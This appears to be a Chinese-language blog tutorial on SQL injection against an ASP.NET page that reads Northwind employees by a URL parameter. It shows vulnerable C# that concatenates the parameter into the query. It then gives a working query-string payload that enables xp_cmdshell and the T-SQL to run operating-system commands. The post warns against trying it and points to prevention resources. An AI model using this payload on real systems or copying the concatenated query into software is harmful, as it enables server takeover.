SQL Injection

摘要:SQL Injection

以下動作為介紹駭客如何利用SQL Injection,進行入侵的動作,沒事請勿執行或設定

 以北風為例,讀取Employees資料表,利用url query,讀取特定Employee,例如:Default.aspx?EmployeeID=1

01 <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %>
02  
03 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
04 <html xmlns="http://www.w3.org/1999/xhtml">
05 <head runat="server">
06     <title></title>
07 </head>
08 <body>
09     <form id="form1" runat="server">
10         <div>
11             <asp:DetailsView ID="DetailsView1" runat="server">
12             </asp:DetailsView>
13         </div>
14     </form>
15 </body>
16 </html>

相信很多人會如此coding...

01 using System;
02 using System.Data;
03 using System.Configuration;
04 using System.Collections;
05 using System.Web;
06 using System.Web.Security;
07 using System.Web.UI;
08 using System.Web.UI.WebControls;
09 using System.Web.UI.WebControls.WebParts;
10 using System.Web.UI.HtmlControls;
11 using System.Data.SqlClient;

12
13 public partial class _Default : System.Web.UI.Page
14 {
15     protected void Page_Load(object sender, EventArgs e)
16     {
17         if (!this.IsPostBack)
18         {
19             string employeeID = Request["EmployeeID"];
20             string selectCommandText = "SELECT * FROM [Northwind].[dbo].[Employees] WHERE [EmployeeID] = " + employeeID;
21             string selectConnectionString = ConfigurationManager.ConnectionStrings["ConnectionString"].ConnectionString;
22
23             SqlDataAdapter adapter = new SqlDataAdapter(selectCommandText, selectConnectionString);
24             DataTable dt = new DataTable();
25             adapter.Fill(dt);
26
27             this.DetailsView1.DataSource = dt;
28             this.DetailsView1.DataBind();
29         }

30     }

31 }

 執行結果,一切是那麼美好...

當我們輸入Default.aspx?EmployeeID=2;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;時,再次執行

表面上沒什麼問題,執行結果也正常,但我們查看一下設定,xp_cmdshell已經被啟用了

接下來就可以利用xp_cmdshell(或其他sp)為所欲為了

這就是為什麼強烈建議不要用串字串方式去執行command

防治手段,請參考http://anti-hacker.blogspot.com/2007/04/demosql-injection.html,就不再多述

***********************************************************************************************************************

以下介紹一下語法

--啟用進階選項
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;  

--啟用xp_cmdshell預存程序
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE

--執行命令
EXEC xp_cmdshell 'dir c:\'

xp_cmdshell預設是關閉的,要執行sp_configure 'xp_cmdshell', 1;來啟用

但執行此command之前,還要先啟用進階選項,因為這設定是屬於進階選項的,進階設定預設也是關閉的

都設定完就可以直接執行xp_cmdshell,這command就同等於在DOS執行command一樣

駭客都是利用類似此漏洞來做破壞的工作

***********************************************************************************************************************

以上是利用shell來執行,也有介面可以做相同的設定

1.先執行Microsoft SQL Server 2005→組態工具→SQL Server 介面區組態

 

 2.選擇功能的介面區組態

3.啟用xp_cmdshell

 參考的網址:

http://book.csdn.net/bookfiles/24/10024700.shtml

http://www.mssqltips.com/tip.asp?tip=1020

http://www.520hack.com/Article/Text4/200805/10067.html

http://anti-hacker.blogspot.com/2007/04/demosql-injection.html